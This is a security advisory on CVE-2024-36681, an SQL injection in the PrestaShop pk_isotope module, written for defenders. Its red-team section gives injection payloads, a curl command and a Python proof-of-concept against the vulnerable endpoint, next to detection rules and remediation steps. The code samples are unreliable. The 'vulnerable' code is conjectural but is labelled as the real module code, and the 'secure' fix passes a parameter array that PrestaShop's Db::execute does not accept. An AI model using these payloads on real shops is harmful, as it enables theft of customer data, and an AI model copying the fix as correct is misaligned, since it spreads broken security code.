CVE-2024-36681

Executive Summary

CVE-2024-36681 identifies a critical SQL Injection vulnerability in the Promokit.eu "Isotope" module (pk_isotope) for PrestaShop, affecting versions up to and including 1.7.3. The flaw resides in the pk_isotope::saveData and pk_isotope::removeData methods, which fail to properly sanitize user-supplied input before incorporating it into SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, leading to unauthorized access to sensitive data (e.g., customer credentials, order details), potential data exfiltration, and in severe cases, full compromise of the underlying database server. The vulnerability is publicly known, with proof-of-concept (PoC) code available, yet no official patch has been released by the vendor. Given the widespread use of PrestaShop for e-commerce, this poses a significant supply chain risk to merchants and their customers.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module distributed via the Promokit.eu marketplace. As PrestaShop modules are often installed directly from the vendor's website or through the PrestaShop Addons marketplace, the supply chain risk is elevated. Merchants who have installed pk_isotope version 1.7.3 or earlier are directly impacted. The lack of a vendor patch means that remediation relies on manual code fixes, module removal, or implementing virtual patching via a Web Application Firewall (WAF). Organizations should audit their PrestaShop installations for this module and treat it as a high-priority security finding.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): None (N) - No user action is required to trigger the exploit.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) - Full database read access is possible, exposing sensitive data.
• Integrity (I): High (H) - Attackers can modify or delete database content.
• Availability (A): High (H) - Attackers can disrupt database operations, leading to denial of service.

Threat Level: Critical. The combination of network exploitability, no authentication requirement, and high impact on confidentiality, integrity, and availability makes this a severe threat. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection (SQLi) within the PrestaShop module pk_isotope. The module provides isotope filtering functionality for product listings. The vulnerable methods saveData and removeData are likely used to persist or delete user-specific filter configurations.

Root Cause: The module fails to use parameterized queries (prepared statements) or properly escape user-supplied input before concatenating it into SQL queries. Instead, it directly interpolates the input into the SQL string.

Attack Vector: An attacker can send crafted HTTP requests to endpoints that invoke these methods. The input parameters (likely POST or GET data) are passed unsanitized to the SQL query.

Example of vulnerable code pattern (conceptual):

// Vulnerable code in pk_isotope module
public function saveData($id_customer, $data) {
    $sql = "INSERT INTO "._DB_PREFIX_."pk_isotope_data (id_customer, data) VALUES ($id_customer, '$data')";
    Db::getInstance()->execute($sql);
}

In this example, $data is directly concatenated. An attacker could set $data to ' OR '1'='1 to manipulate the query.

Impact:

• Data Exfiltration: Attackers can extract the entire PrestaShop database, including customer emails, passwords (hashed), order history, and payment information.
• Authentication Bypass: By injecting into login-related queries, attackers may bypass authentication.
• Remote Code Execution (RCE): In some database configurations (e.g., MySQL with SELECT ... INTO OUTFILE), attackers can write a webshell to the server, leading to full server compromise.
• Denial of Service (DoS): Malicious queries can cause database crashes or resource exhaustion.

Vulnerable vs. Patched Code

Since no official patch is available, the "patched" code represents a secure implementation.

Vulnerable Code (pk_isotope <= 1.7.3):

// Example of vulnerable method
public function saveData($id_customer, $data) {
    $sql = "INSERT INTO "._DB_PREFIX_."pk_isotope_data (id_customer, data) VALUES ($id_customer, '$data')";
    return Db::getInstance()->execute($sql);
}

Patched Code (Secure Implementation):

// Secure version using prepared statements
public function saveData($id_customer, $data) {
    $sql = "INSERT INTO "._DB_PREFIX_."pk_isotope_data (id_customer, data) VALUES (:id_customer, :data)";
    $params = array(
        ':id_customer' => (int)$id_customer,
        ':data' => pSQL($data) // PrestaShop's built-in escape function
    );
    return Db::getInstance()->execute($sql, $params);
}

Key Differences:

• Parameterized Query: The patched version uses placeholders (:id_customer, :data) and binds parameters separately, preventing SQL injection.
• Input Validation: The id_customer is cast to an integer, and pSQL() is used to escape the data string.
• No Direct Concatenation: User input is never directly concatenated into the SQL string.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A PrestaShop instance with pk_isotope module version <= 1.7.3 installed and active.
• Knowledge of the module's endpoint (e.g., /module/pk_isotope/saveData).

Exploitation Steps:

1. Identify the vulnerable endpoint: Use a web proxy or browser developer tools to observe requests made when interacting with the isotope filter. Look for requests to paths like /module/pk_isotope/saveData or /module/pk_isotope/removeData.

2. Craft a malicious payload: Inject a SQL payload into a parameter (e.g., data parameter). For example:

   data=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
   

3. Send the request using curl:

   curl -X POST "http://target.com/module/pk_isotope/saveData" \
   -d "id_customer=1&data=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
   

4. Extract data: Use time-based or error-based SQLi techniques to enumerate the database. For example, to extract admin emails:

   data=' OR (SELECT IF(SUBSTRING(email,1,1)='a',SLEEP(5),0) FROM ps_employee LIMIT 1)-- -
   

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target.com/module/pk_isotope/saveData"
payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
data = {"id_customer": "1", "data": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /module/pk_isotope/saveData or /module/pk_isotope/removeData containing SQL keywords (UNION, SELECT, SLEEP, OR 1=1, etc.).
• Use a WAF to block SQLi patterns.
• Deploy the YARA and Sigma rules provided in the Detection Engineering section.

Defense:

• Immediate: Disable or uninstall the pk_isotope module until a patch is applied.
• Virtual Patching: Add a WAF rule to block requests to the vulnerable endpoints with suspicious parameters.
• Code Fix: Manually patch the module by replacing direct SQL concatenation with parameterized queries (as shown in the patched code example).
• Database Hardening: Ensure the database user used by PrestaShop has minimal privileges (e.g., no FILE privilege to prevent INTO OUTFILE attacks).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /module/pk_isotope/saveData or /module/pk_isotope/removeData with unusual parameters.
• Requests containing SQL keywords in POST/GET parameters (e.g., UNION, SELECT, SLEEP, BENCHMARK).
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File System IOCs:

• Unexpected files in the PrestaShop root directory (e.g., shell.php, cmd.php) indicating webshell upload.
• Modified module files in /modules/pk_isotope/ (check file integrity).

Log IOCs:

• Database query logs showing suspicious queries with injected SQL.
• Web server access logs with repeated requests to the vulnerable endpoints from the same IP.

Detection Engineering

YARA Rule

rule CVE_2024_36681_SQLi_PkIsotope {
    meta:
        description = "Detects SQL injection attempts targeting PrestaShop pk_isotope module"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-36681"
    strings:
        $endpoint1 = "/module/pk_isotope/saveData"
        $endpoint2 = "/module/pk_isotope/removeData"
        $sqli_pattern1 = /UNION\s+SELECT/i
        $sqli_pattern2 = /OR\s+['\"]\s*=\s*['\"]/i
        $sqli_pattern3 = /SLEEP\s*\(/i
        $sqli_pattern4 = /BENCHMARK\s*\(/i
    condition:
        any of ($endpoint*) and any of ($sqli_pattern*)
}

Sigma Rule

title: CVE-2024-36681 SQL Injection Attempt on PrestaShop pk_isotope Module
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the pk_isotope module endpoints
author: Valters IT
date: 2024-05-20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36681
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/module/pk_isotope/saveData'
            - '/module/pk_isotope/removeData'
    keywords:
        - 'UNION SELECT'
        - 'OR 1=1'
        - 'SLEEP('
        - 'BENCHMARK('
    condition: selection and keywords
falsepositives:
    - Legitimate use of the module with unusual data (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-36681 SQL Injection Attempt on PrestaShop pk_isotope Module"; flow:to_server,established; content:"POST"; http_method; content:"/module/pk_isotope/saveData"; http_uri; nocase; content:"UNION"; http_client_body; nocase; content:"SELECT"; http_client_body; nocase; distance:0; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the module: Go to PrestaShop back office -> Modules -> Module Manager -> Search "pk_isotope" -> Disable.
2. Uninstall the module: If not needed, uninstall it completely to remove all files.
3. Apply virtual patch: Configure your WAF to block requests to /module/pk_isotope/saveData and /module/pk_isotope/removeData with suspicious parameters.

Long-Term Fix:

• Vendor Patch: Monitor Promokit.eu for an official patch. If none is released, consider switching to an alternative isotope filtering module.
• Manual Code Fix: If you must keep the module, manually edit the PHP files to use parameterized queries as shown in the patched code example.
• Security Hardening:
  • Ensure PrestaShop and all modules are updated to the latest versions.
  • Implement a Web Application Firewall (WAF) with SQLi protection.
  • Regularly audit third-party modules for security vulnerabilities.
  • Use a database user with least privilege for the PrestaShop application.

Verification:

• After applying the fix, test the module to ensure it still functions correctly.
• Run a vulnerability scanner to confirm the SQLi is no longer exploitable.

Valters IT